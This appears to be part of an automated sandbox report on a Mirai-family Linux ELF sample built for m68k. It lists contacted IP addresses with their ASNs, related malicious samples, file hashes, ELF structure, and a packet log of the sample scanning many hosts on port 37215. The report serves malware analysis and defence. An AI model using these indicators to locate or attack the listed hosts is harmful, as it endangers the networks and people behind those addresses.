181.86.228.194	unknown	Argentina	7303	TelecomArgentinaSAAR	false
181.136.190.144	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
170.55.11.211	unknown	United States	33132	FIBERNET-DIRECTUS	false
62.74.105.95	unknown	Greece	3329	HOL-GRAthensGreeceGR	false
98.74.118.31	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
197.71.86.134	unknown	South Africa	16637	MTNNS-ASZA	false
93.217.56.71	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
141.127.33.169	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
108.84.118.234	unknown	United States	7018	ATT-INTERNET4US	false
203.31.156.234	unknown	Australia	136994	SOUTHERNPHONE-AS-APSouthernPhoneCompanyLtdAU	false
98.250.136.90	unknown	United States	7922	COMCAST-7922US	false
101.225.14.228	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
216.193.147.119	unknown	United States	393856	WGELD-ASNUS	false
181.175.43.60	unknown	Ecuador	14522	SatnetEC	false
203.207.123.84	unknown	China	17964	DXTNETBeijingDian-Xin-TongNetworkTechnologiesCoLtd	false
135.138.158.51	unknown	United States	14962	NCR-252US	false
17.137.34.148	unknown	United States	714	APPLE-ENGINEERINGUS	false
221.118.125.63	unknown	Japan	9354	TDNCCommunityNetworkCenterIncJP	false
59.168.58.254	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
32.251.97.166	unknown	United States	2686	ATGS-MMD-ASUS	false
181.97.172.35	unknown	Argentina	7303	TelecomArgentinaSAAR	false
90.79.76.90	unknown	France	3215	FranceTelecom-OrangeFR	false
181.136.190.138	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
109.167.108.117	unknown	Spain	48427	VISOVISION-ASES	false
139.161.125.16	unknown	United States	1462	DNIC-ASBLK-01462-01463US	false
181.7.145.113	unknown	Argentina	7303	TelecomArgentinaSAAR	false
206.130.199.200	unknown	Canada	11287	AS-MSEACA	false
98.198.78.43	unknown	United States	7922	COMCAST-7922US	false
176.149.9.230	unknown	France	5410	BOUYGTEL-ISPFR	false
62.243.140.203	unknown	Denmark	3292	TDCTDCASDK	false
181.175.43.73	unknown	Ecuador	14522	SatnetEC	false
187.188.56.91	unknown	Mexico	22884	TOTALPLAYTELECOMUNICACIONESSADECVMX	false
98.97.28.188	unknown	United States	7018	ATT-INTERNET4US	false
199.49.192.82	unknown	United States	201204	GFIS-AS-DE	false
86.217.36.111	unknown	France	3215	FranceTelecom-OrangeFR	false
170.50.144.207	unknown	United States	11406	CIGNA-1US	false
57.94.0.2	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
206.245.141.43	unknown	United States	7029	WINDSTREAMUS	false
178.228.58.254	unknown	Netherlands	31615	TMO-NL-ASNL	false
156.223.50.202	unknown	Egypt	8452	TE-ASTE-ASEG	false
148.64.185.220	unknown	United States	16811	SAGENET-GTHUS	false
101.220.36.160	unknown	India	58519	CHINATELECOM-CTCLOUDCloudComputingCorporationCN	false
114.253.160.77	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
184.63.30.61	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
39.32.71.160	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
213.144.46.4	unknown	Spain	15937	ADIFES	false
160.15.117.67	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
184.150.128.218	unknown	Canada	577	BACOMCA	false
212.229.189.151	unknown	United Kingdom	6659	NEXINTO-DE	false
82.127.97.21	unknown	France	3215	FranceTelecom-OrangeFR	false
181.195.130.21	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	false
85.218.82.233	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
94.128.103.12	unknown	Kuwait	47589	KTC3GKW	false
181.116.24.127	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	false
154.16.151.102	unknown	South Africa	23470	RELIABLESITEUS	false
140.170.165.15	unknown	United States	15199	WWUUS	false
32.232.128.241	unknown	United States	2686	ATGS-MMD-ASUS	false
164.6.229.66	unknown	United Kingdom	44013	SANDVIK-ASSE	false
184.29.182.48	unknown	United States	16625	AKAMAI-ASUS	false
101.84.169.56	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
136.197.33.73	unknown	United States	60311	ONEFMCH	false
101.172.43.89	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
98.15.44.98	unknown	United States	12271	TWC-12271-NYCUS	false
212.91.140.164	unknown	Sweden	29468	INFRACOMSE	false
82.176.91.216	unknown	Netherlands	15542	ZEELANDNETDELTAFiberNederlandNL	false
184.223.137.46	unknown	United States	10507	SPCSUS	false
181.222.227.120	unknown	Brazil	28573	CLAROSABR	false
212.91.140.169	unknown	Sweden	29468	INFRACOMSE	false
114.253.160.63	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
161.74.29.132	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
62.195.46.189	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
181.212.43.112	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
178.87.239.161	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
119.174.134.235	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
86.156.203.20	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
200.68.225.183	unknown	Argentina	28403	RadioMovilDipsaSAdeCVMX	false
180.152.86.93	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
119.226.253.242	unknown	India	9583	SIFY-AS-INSifyLimitedIN	false
178.87.239.163	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
213.58.107.21	unknown	Portugal	9186	ONILisbonPortugalPT	false
184.29.182.96	unknown	United States	16625	AKAMAI-ASUS	false
184.93.142.60	unknown	United States	33363	BHN-33363US	false
50.125.209.112	unknown	United States	27017	ZIPLY-FIBER-LEGACY-ASNUS	false
80.178.27.83	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
119.179.27.240	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
134.60.58.194	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
170.93.162.192	unknown	United States	15196	MDDOTUS	false
98.19.174.111	unknown	United States	7029	WINDSTREAMUS	false
62.74.105.58	unknown	Greece	3329	HOL-GRAthensGreeceGR	false
170.215.138.244	unknown	United States	7011	FRONTIER-AND-CITIZENSUS	false
27.31.9.47	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
178.118.172.225	unknown	Belgium	6848	TELENET-ASBE	false
85.252.191.127	unknown	Norway	2116	ASN-CATCHCOMNO	false
98.105.151.71	unknown	United States	6167	CELLCO-PARTUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
203.31.156.234	x86.elf	Get hash	malicious	Mirai	Browse
203.31.156.234	4fgpXeSzcY	Get hash	malicious	Mirai	Browse
178.178.49.2	UGCjB3A6fH.elf	Get hash	malicious	Mirai	Browse
	yourbiggestnightmare.x86.elf	Get hash	malicious	Mirai	Browse
	aqua.x86	Get hash	malicious	Gafgyt, Mirai	Browse
	8w4Nf9O4r2	Get hash	malicious	Mirai	Browse
98.250.136.90	ODQoSDJ9Fu	Get hash	malicious	Mirai	Browse
98.250.136.90	4B3LpEnWJU	Get hash	malicious	Mirai	Browse
181.74.231.154	NrhVe4v2Zt.elf	Get hash	malicious	Mirai	Browse
181.74.231.154	jr7Vd9THho.elf	Get hash	malicious	Mirai	Browse
181.175.43.60	r8S55MyrFG.elf	Get hash	malicious	Mirai	Browse
	un12Y8qxxI.elf	Get hash	malicious	Mirai	Browse
	CmHEM10bqq	Get hash	malicious	Mirai	Browse
	Rakitin.x86	Get hash	malicious	Mirai	Browse
	apep.x86	Get hash	malicious	Unknown	Browse
197.71.86.134	HILBjGCx2C.elf	Get hash	malicious	Mirai	Browse
	100UP.x86.elf	Get hash	malicious	Mirai	Browse
	vo5e83cPmv.elf	Get hash	malicious	Mirai, Moobot	Browse
	9i3dQ7xdtO	Get hash	malicious	Mirai	Browse
	B5VKxotYud	Get hash	malicious	Mirai	Browse
181.136.190.144	4lXTg8P7Ih.elf	Get hash	malicious	Mirai	Browse
	2EgdpgJdKe.elf	Get hash	malicious	Mirai	Browse
	svrHelper	Get hash	malicious	Mirai	Browse
170.55.11.211	g22kPe2LIc	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SONICDUO-ASRU	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.179.179.9
	CfmKNhPq8T.elf	Get hash	malicious	Unknown	Browse	178.176.32.129
	Fh0kScswH7.elf	Get hash	malicious	Mirai	Browse	178.178.9.108
	ktMLmEUY2l.elf	Get hash	malicious	Mirai	Browse	178.179.179.8
	D7iI17d3sE.elf	Get hash	malicious	Mirai, Moobot	Browse	178.179.132.72
	XXEEnTN5Xb.elf	Get hash	malicious	Mirai, Okiru	Browse	178.178.149.14
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	178.178.149.19
	vUvgbnhi3T.elf	Get hash	malicious	Mirai	Browse	178.178.149.10
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	178.179.156.10
	1208819601.exe	Get hash	malicious	Unknown	Browse	109.188.121.96
XS4ALL-NLAmsterdamNL	aZ2aPoW85W.elf	Get hash	malicious	Mirai	Browse	80.126.137.70
	CfmKNhPq8T.elf	Get hash	malicious	Unknown	Browse	82.161.40.181
	fWWj9IuPgZ.elf	Get hash	malicious	Mirai	Browse	83.68.28.33
	uPG4ESUjG9.elf	Get hash	malicious	Mirai	Browse	82.92.113.141
	n3VBO4WyY9.elf	Get hash	malicious	Mirai, Gafgyt	Browse	80.126.137.81
	xcBienFkvE.elf	Get hash	malicious	Mirai	Browse	82.95.243.5
	AMM9Xsyg59.elf	Get hash	malicious	Mirai	Browse	82.161.128.135
	qykmOCpH8C.elf	Get hash	malicious	Mirai	Browse	194.109.226.214
	Fh0kScswH7.elf	Get hash	malicious	Mirai	Browse	212.238.146.168
	JmVAzVk41r.elf	Get hash	malicious	Unknown	Browse	83.162.35.167
TOKAITOKAICommunicationsCorporationJP	pERaPMaznu.elf	Get hash	malicious	Mirai	Browse	27.98.164.55
	Jx14GO9SfG.elf	Get hash	malicious	Mirai	Browse	182.20.170.108
	3gueXq7uYl.elf	Get hash	malicious	Mirai	Browse	150.38.18.184
	M2CRoPxCDK.elf	Get hash	malicious	Unknown	Browse	183.86.0.236
	ACtk7VdYkV.elf	Get hash	malicious	Mirai	Browse	211.133.199.222
	SecuriteInfo.com.Trojan.Linux.Mirai.5666.25393.elf	Get hash	malicious	Mirai	Browse	150.38.109.33
	rTWdhjfGwr.elf	Get hash	malicious	Unknown	Browse	59.86.34.168
	n5vjWNCONy.elf	Get hash	malicious	Mirai	Browse	27.98.188.44
	f2XSS2IyI2.elf	Get hash	malicious	Mirai	Browse	220.216.81.36
	dYw7VUsaqP.elf	Get hash	malicious	Unknown	Browse	219.112.58.254
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	I9k2Q7HKfO.elf	Get hash	malicious	Mirai, Gafgyt	Browse	175.44.144.185
	xktih0mnmY.elf	Get hash	malicious	Mirai, Gafgyt	Browse	119.117.225.69
	AMjH2Tev6H.elf	Get hash	malicious	Mirai, Gafgyt	Browse	112.193.89.229
	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	101.105.121.2
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	120.3.248.18
	d0iDboIDfK.elf	Get hash	malicious	Mirai	Browse	116.170.166.229
	Ly0ms78iom.elf	Get hash	malicious	Mirai	Browse	112.228.14.125
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	112.86.152.81
	pu8ZPF7c37.elf	Get hash	malicious	Mirai	Browse	112.245.212.142
	6VcDOTtGyn.elf	Get hash	malicious	Unknown	Browse	112.132.41.163

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.4689801932487265
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	uMqeVeoVI4.elf
File size:	139'084 bytes
MD5:	5069e06e4b4cf9dabe574bffc7f9435c
SHA1:	7662f74680be3dcebb1bef06bdfea73edd8ac90e
SHA256:	ee181ee7daa80d49d8f0be9f00b5ce2f1dc8ce57ce4594e4b5a89afe4c5c77f0
SHA512:	e014453e2147de773aad94a0e6ae29ac5151c864d29b9276f709515fecf3f009b2828e5aa8733c746b512e9504adf89e98cb4be4dfbd2bdf30c81c5fbd32f8de
SSDEEP:	3072:N4p695FPs2eqhwXXX+w9U/i/ZeotlbZ9ZFqFeAUtQBN:My5FPBjwXXOiU/iVHfqYA8QBN
TLSH:	84D35C95E8019E3CF4C7C7BA45370D09B02193487293172BE696ECEFBCB21995B1EE85
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. ...........9...9.......)....... .dt.Q............................NV..a....da.....N^NuNV..J9..=\|f>"y..9. QJ.g.X.#...9.N."y..9. QJ.f.A.....J.g.Hy....N.X.......=\|N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	138684
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x1db36	0x0	0x6	AX	4
.fini	PROGBITS	0x8001dbde	0x1dbde	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8001dbec	0x1dbec	0x3da8	0x0	0x2	A	2
.ctors	PROGBITS	0x80023998	0x21998	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x800239a0	0x219a0	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x800239ac	0x219ac	0x3d0	0x0	0x3	WA	4
.bss	NOBITS	0x80023d7c	0x21d7c	0x25b0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x21d7c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x21994	0x21994	6.4896	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x21998	0x80023998	0x80023998	0x3e4	0x2994	2.8596	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2024 05:21:09.698779106 CET	17319	37215	192.168.2.14	197.203.215.114
Mar 21, 2024 05:21:09.698890924 CET	17319	37215	192.168.2.14	197.84.238.184
Mar 21, 2024 05:21:09.698901892 CET	17319	37215	192.168.2.14	197.26.44.125
Mar 21, 2024 05:21:09.698908091 CET	17319	37215	192.168.2.14	197.200.98.185
Mar 21, 2024 05:21:09.698944092 CET	17319	37215	192.168.2.14	197.71.204.166
Mar 21, 2024 05:21:09.698947906 CET	17319	37215	192.168.2.14	197.28.131.110
Mar 21, 2024 05:21:09.698961020 CET	17319	37215	192.168.2.14	197.69.251.92
Mar 21, 2024 05:21:09.698975086 CET	17319	37215	192.168.2.14	197.239.225.128
Mar 21, 2024 05:21:09.699007988 CET	17319	37215	192.168.2.14	197.164.199.165
Mar 21, 2024 05:21:09.699022055 CET	17319	37215	192.168.2.14	197.249.134.109
Mar 21, 2024 05:21:09.699038029 CET	17319	37215	192.168.2.14	197.229.191.190
Mar 21, 2024 05:21:09.699054003 CET	17319	37215	192.168.2.14	197.33.238.104
Mar 21, 2024 05:21:09.699091911 CET	17319	37215	192.168.2.14	197.78.211.250
Mar 21, 2024 05:21:09.699096918 CET	17319	37215	192.168.2.14	197.134.181.80
Mar 21, 2024 05:21:09.699106932 CET	17319	37215	192.168.2.14	197.244.210.126
Mar 21, 2024 05:21:09.699125051 CET	17319	37215	192.168.2.14	197.128.183.23
Mar 21, 2024 05:21:09.699136972 CET	17319	37215	192.168.2.14	197.135.255.68
Mar 21, 2024 05:21:09.699171066 CET	17319	37215	192.168.2.14	197.245.197.121
Mar 21, 2024 05:21:09.699196100 CET	17319	37215	192.168.2.14	197.202.114.91
Mar 21, 2024 05:21:09.699212074 CET	17319	37215	192.168.2.14	197.188.33.94
Mar 21, 2024 05:21:09.699251890 CET	17319	37215	192.168.2.14	197.145.235.108
Mar 21, 2024 05:21:09.699264050 CET	17319	37215	192.168.2.14	197.156.213.46
Mar 21, 2024 05:21:09.699290037 CET	17319	37215	192.168.2.14	197.38.149.232
Mar 21, 2024 05:21:09.699299097 CET	17319	37215	192.168.2.14	197.130.40.19
Mar 21, 2024 05:21:09.699361086 CET	17319	37215	192.168.2.14	197.186.63.41
Mar 21, 2024 05:21:09.699384928 CET	17319	37215	192.168.2.14	197.71.203.125
Mar 21, 2024 05:21:09.699408054 CET	17319	37215	192.168.2.14	197.14.248.237
Mar 21, 2024 05:21:09.699429989 CET	17319	37215	192.168.2.14	197.151.93.209
Mar 21, 2024 05:21:09.699451923 CET	17319	37215	192.168.2.14	197.74.157.148
Mar 21, 2024 05:21:09.699465990 CET	17319	37215	192.168.2.14	197.164.250.24
Mar 21, 2024 05:21:09.699479103 CET	17319	37215	192.168.2.14	197.109.151.42
Mar 21, 2024 05:21:09.699505091 CET	17319	37215	192.168.2.14	197.193.211.187
Mar 21, 2024 05:21:09.699518919 CET	17319	37215	192.168.2.14	197.228.96.148
Mar 21, 2024 05:21:09.699544907 CET	17319	37215	192.168.2.14	197.101.36.79
Mar 21, 2024 05:21:09.699553967 CET	17319	37215	192.168.2.14	197.58.108.8
Mar 21, 2024 05:21:09.699572086 CET	17319	37215	192.168.2.14	197.138.123.255
Mar 21, 2024 05:21:09.699592113 CET	17319	37215	192.168.2.14	197.208.26.231
Mar 21, 2024 05:21:09.699623108 CET	17319	37215	192.168.2.14	197.228.162.120
Mar 21, 2024 05:21:09.699646950 CET	17319	37215	192.168.2.14	197.209.104.51
Mar 21, 2024 05:21:09.699671984 CET	17319	37215	192.168.2.14	197.135.183.113
Mar 21, 2024 05:21:09.699681044 CET	17319	37215	192.168.2.14	197.12.59.149
Mar 21, 2024 05:21:09.699763060 CET	17319	37215	192.168.2.14	197.44.92.73
Mar 21, 2024 05:21:09.699768066 CET	17319	37215	192.168.2.14	197.239.59.178
Mar 21, 2024 05:21:09.699779034 CET	17319	37215	192.168.2.14	197.36.248.180
Mar 21, 2024 05:21:09.699798107 CET	17319	37215	192.168.2.14	197.238.45.94
Mar 21, 2024 05:21:09.699820042 CET	17319	37215	192.168.2.14	197.196.160.114
Mar 21, 2024 05:21:09.699836969 CET	17319	37215	192.168.2.14	197.224.60.23
Mar 21, 2024 05:21:09.699863911 CET	17319	37215	192.168.2.14	197.226.249.56
Mar 21, 2024 05:21:09.699937105 CET	17319	37215	192.168.2.14	197.190.140.180
Mar 21, 2024 05:21:09.699945927 CET	17319	37215	192.168.2.14	197.43.209.49
Mar 21, 2024 05:21:09.699945927 CET	17319	37215	192.168.2.14	197.188.201.11
Mar 21, 2024 05:21:09.699963093 CET	17319	37215	192.168.2.14	197.223.200.84
Mar 21, 2024 05:21:09.699980021 CET	17319	37215	192.168.2.14	197.241.53.247
Mar 21, 2024 05:21:09.699989080 CET	17319	37215	192.168.2.14	197.237.118.69
Mar 21, 2024 05:21:09.700006008 CET	17319	37215	192.168.2.14	197.4.224.189
Mar 21, 2024 05:21:09.700015068 CET	17319	37215	192.168.2.14	197.103.72.139
Mar 21, 2024 05:21:09.700103998 CET	17319	37215	192.168.2.14	197.99.62.172
Mar 21, 2024 05:21:09.700109005 CET	17319	37215	192.168.2.14	197.25.130.55
Mar 21, 2024 05:21:09.700112104 CET	17319	37215	192.168.2.14	197.67.181.113
Mar 21, 2024 05:21:09.700114965 CET	17319	37215	192.168.2.14	197.211.69.203
Mar 21, 2024 05:21:09.700126886 CET	17319	37215	192.168.2.14	197.36.74.18
Mar 21, 2024 05:21:09.700154066 CET	17319	37215	192.168.2.14	197.192.193.68
Mar 21, 2024 05:21:09.700170040 CET	17319	37215	192.168.2.14	197.29.19.34
Mar 21, 2024 05:21:09.700190067 CET	17319	37215	192.168.2.14	197.110.82.64
Mar 21, 2024 05:21:09.700201988 CET	17319	37215	192.168.2.14	197.202.140.161
Mar 21, 2024 05:21:09.700297117 CET	17319	37215	192.168.2.14	197.135.150.206
Mar 21, 2024 05:21:09.700304031 CET	17319	37215	192.168.2.14	197.69.203.11
Mar 21, 2024 05:21:09.700304031 CET	17319	37215	192.168.2.14	197.102.221.66
Mar 21, 2024 05:21:09.700314045 CET	17319	37215	192.168.2.14	197.209.116.35
Mar 21, 2024 05:21:09.700314045 CET	17319	37215	192.168.2.14	197.164.216.79
Mar 21, 2024 05:21:09.700340033 CET	17319	37215	192.168.2.14	197.225.107.20
Mar 21, 2024 05:21:09.700391054 CET	17319	37215	192.168.2.14	197.196.191.109
Mar 21, 2024 05:21:09.700417042 CET	17319	37215	192.168.2.14	197.214.207.106
Mar 21, 2024 05:21:09.700443029 CET	17319	37215	192.168.2.14	197.157.217.46
Mar 21, 2024 05:21:09.700443983 CET	17319	37215	192.168.2.14	197.72.88.64
Mar 21, 2024 05:21:09.700443029 CET	17319	37215	192.168.2.14	197.226.140.42
Mar 21, 2024 05:21:09.700443029 CET	17319	37215	192.168.2.14	197.181.36.149
Mar 21, 2024 05:21:09.700483084 CET	17319	37215	192.168.2.14	197.26.196.204
Mar 21, 2024 05:21:09.700489998 CET	17319	37215	192.168.2.14	197.97.251.171
Mar 21, 2024 05:21:09.700494051 CET	17319	37215	192.168.2.14	197.136.26.72
Mar 21, 2024 05:21:09.700556993 CET	17319	37215	192.168.2.14	197.129.100.158
Mar 21, 2024 05:21:09.700562954 CET	17319	37215	192.168.2.14	197.180.54.255
Mar 21, 2024 05:21:09.700591087 CET	17319	37215	192.168.2.14	197.151.208.79
Mar 21, 2024 05:21:09.700592041 CET	17319	37215	192.168.2.14	197.38.133.64
Mar 21, 2024 05:21:09.700596094 CET	17319	37215	192.168.2.14	197.102.198.104
Mar 21, 2024 05:21:09.700617075 CET	17319	37215	192.168.2.14	197.111.220.117
Mar 21, 2024 05:21:09.700630903 CET	17319	37215	192.168.2.14	197.138.72.211
Mar 21, 2024 05:21:09.700681925 CET	17319	37215	192.168.2.14	197.1.121.3
Mar 21, 2024 05:21:09.700684071 CET	17319	37215	192.168.2.14	197.152.19.152
Mar 21, 2024 05:21:09.700720072 CET	17319	37215	192.168.2.14	197.194.203.149
Mar 21, 2024 05:21:09.700732946 CET	17319	37215	192.168.2.14	197.94.3.80
Mar 21, 2024 05:21:09.700748920 CET	17319	37215	192.168.2.14	197.6.43.81
Mar 21, 2024 05:21:09.700750113 CET	17319	37215	192.168.2.14	197.6.143.33
Mar 21, 2024 05:21:09.700812101 CET	17319	37215	192.168.2.14	197.134.174.143
Mar 21, 2024 05:21:09.700812101 CET	17319	37215	192.168.2.14	197.207.101.37
Mar 21, 2024 05:21:09.700851917 CET	17319	37215	192.168.2.14	197.171.180.138
Mar 21, 2024 05:21:09.700866938 CET	17319	37215	192.168.2.14	197.248.73.7
Mar 21, 2024 05:21:09.700875998 CET	17319	37215	192.168.2.14	197.55.193.174
Mar 21, 2024 05:21:09.700956106 CET	17319	37215	192.168.2.14	197.104.119.42
Mar 21, 2024 05:21:09.700959921 CET	17319	37215	192.168.2.14	197.1.184.109
Mar 21, 2024 05:21:09.700963020 CET	17319	37215	192.168.2.14	197.251.128.46
Mar 21, 2024 05:21:09.700992107 CET	17319	37215	192.168.2.14	197.212.78.5
Mar 21, 2024 05:21:09.701008081 CET	17319	37215	192.168.2.14	197.110.252.135
Mar 21, 2024 05:21:09.701101065 CET	17319	37215	192.168.2.14	197.54.107.84
Mar 21, 2024 05:21:09.701102972 CET	17319	37215	192.168.2.14	197.215.251.186
Mar 21, 2024 05:21:09.701102972 CET	17319	37215	192.168.2.14	197.154.231.233
Mar 21, 2024 05:21:09.701107979 CET	17319	37215	192.168.2.14	197.194.219.70
Mar 21, 2024 05:21:09.701128006 CET	17319	37215	192.168.2.14	197.145.48.126
Mar 21, 2024 05:21:09.701159954 CET	17319	37215	192.168.2.14	197.206.237.160
Mar 21, 2024 05:21:09.701160908 CET	17319	37215	192.168.2.14	197.117.46.243
Mar 21, 2024 05:21:09.701160908 CET	17319	37215	192.168.2.14	197.253.75.225
Mar 21, 2024 05:21:09.701181889 CET	17319	37215	192.168.2.14	197.19.39.38
Mar 21, 2024 05:21:09.701244116 CET	17319	37215	192.168.2.14	197.206.17.110
Mar 21, 2024 05:21:09.701251030 CET	17319	37215	192.168.2.14	197.166.221.240
Mar 21, 2024 05:21:09.701251984 CET	17319	37215	192.168.2.14	197.42.115.160
Mar 21, 2024 05:21:09.701257944 CET	17319	37215	192.168.2.14	197.94.15.184
Mar 21, 2024 05:21:09.701306105 CET	17319	37215	192.168.2.14	197.78.10.204
Mar 21, 2024 05:21:09.701307058 CET	17319	37215	192.168.2.14	197.250.221.115
Mar 21, 2024 05:21:09.701323032 CET	17319	37215	192.168.2.14	197.136.236.4
Mar 21, 2024 05:21:09.701324940 CET	17319	37215	192.168.2.14	197.236.58.0
Mar 21, 2024 05:21:09.701335907 CET	17319	37215	192.168.2.14	197.39.102.247
Mar 21, 2024 05:21:09.701421022 CET	17319	37215	192.168.2.14	197.151.119.110
Mar 21, 2024 05:21:09.701431036 CET	17319	37215	192.168.2.14	197.236.167.27
Mar 21, 2024 05:21:09.701431990 CET	17319	37215	192.168.2.14	197.6.67.224
Mar 21, 2024 05:21:09.701450109 CET	17319	37215	192.168.2.14	197.13.188.16
Mar 21, 2024 05:21:09.701450109 CET	17319	37215	192.168.2.14	197.246.47.232
Mar 21, 2024 05:21:09.701468945 CET	17319	37215	192.168.2.14	197.209.241.14
Mar 21, 2024 05:21:09.701478958 CET	17319	37215	192.168.2.14	197.138.82.253
Mar 21, 2024 05:21:09.701487064 CET	17319	37215	192.168.2.14	197.191.146.28
Mar 21, 2024 05:21:09.701524973 CET	17319	37215	192.168.2.14	197.109.88.252
Mar 21, 2024 05:21:09.701525927 CET	17319	37215	192.168.2.14	197.91.14.11
Mar 21, 2024 05:21:09.701592922 CET	17319	37215	192.168.2.14	197.51.192.108
Mar 21, 2024 05:21:09.701606989 CET	17319	37215	192.168.2.14	197.60.27.240
Mar 21, 2024 05:21:09.701606989 CET	17319	37215	192.168.2.14	197.220.96.168
Mar 21, 2024 05:21:09.701607943 CET	17319	37215	192.168.2.14	197.110.105.162
Mar 21, 2024 05:21:09.701606989 CET	17319	37215	192.168.2.14	197.54.80.192
Mar 21, 2024 05:21:09.701608896 CET	17319	37215	192.168.2.14	197.218.197.124
Mar 21, 2024 05:21:09.701637983 CET	17319	37215	192.168.2.14	197.237.186.42
Mar 21, 2024 05:21:09.701683044 CET	17319	37215	192.168.2.14	197.174.28.146
Mar 21, 2024 05:21:09.701690912 CET	17319	37215	192.168.2.14	197.198.210.233
Mar 21, 2024 05:21:09.701697111 CET	17319	37215	192.168.2.14	197.244.23.0
Mar 21, 2024 05:21:09.701697111 CET	17319	37215	192.168.2.14	197.167.215.161
Mar 21, 2024 05:21:09.701742887 CET	17319	37215	192.168.2.14	197.221.65.153
Mar 21, 2024 05:21:09.701745987 CET	17319	37215	192.168.2.14	197.117.50.85
Mar 21, 2024 05:21:09.701747894 CET	17319	37215	192.168.2.14	197.40.80.244
Mar 21, 2024 05:21:09.701797962 CET	17319	37215	192.168.2.14	197.95.36.22
Mar 21, 2024 05:21:09.701821089 CET	17319	37215	192.168.2.14	197.118.125.97
Mar 21, 2024 05:21:09.701853037 CET	17319	37215	192.168.2.14	197.167.136.114
Mar 21, 2024 05:21:09.701900005 CET	17319	37215	192.168.2.14	197.102.44.207
Mar 21, 2024 05:21:09.701900959 CET	17319	37215	192.168.2.14	197.23.42.115
Mar 21, 2024 05:21:09.701920986 CET	17319	37215	192.168.2.14	197.219.31.39
Mar 21, 2024 05:21:09.701958895 CET	17319	37215	192.168.2.14	197.95.228.95
Mar 21, 2024 05:21:09.701968908 CET	17319	37215	192.168.2.14	197.27.174.60
Mar 21, 2024 05:21:09.701976061 CET	17319	37215	192.168.2.14	197.163.85.131
Mar 21, 2024 05:21:09.701980114 CET	17319	37215	192.168.2.14	197.13.239.85
Mar 21, 2024 05:21:09.702029943 CET	17319	37215	192.168.2.14	197.189.228.200
Mar 21, 2024 05:21:09.702029943 CET	17319	37215	192.168.2.14	197.29.122.234
Mar 21, 2024 05:21:09.702068090 CET	17319	37215	192.168.2.14	197.0.35.45
Mar 21, 2024 05:21:09.702075005 CET	17319	37215	192.168.2.14	197.221.64.178
Mar 21, 2024 05:21:09.702079058 CET	17319	37215	192.168.2.14	197.74.67.231
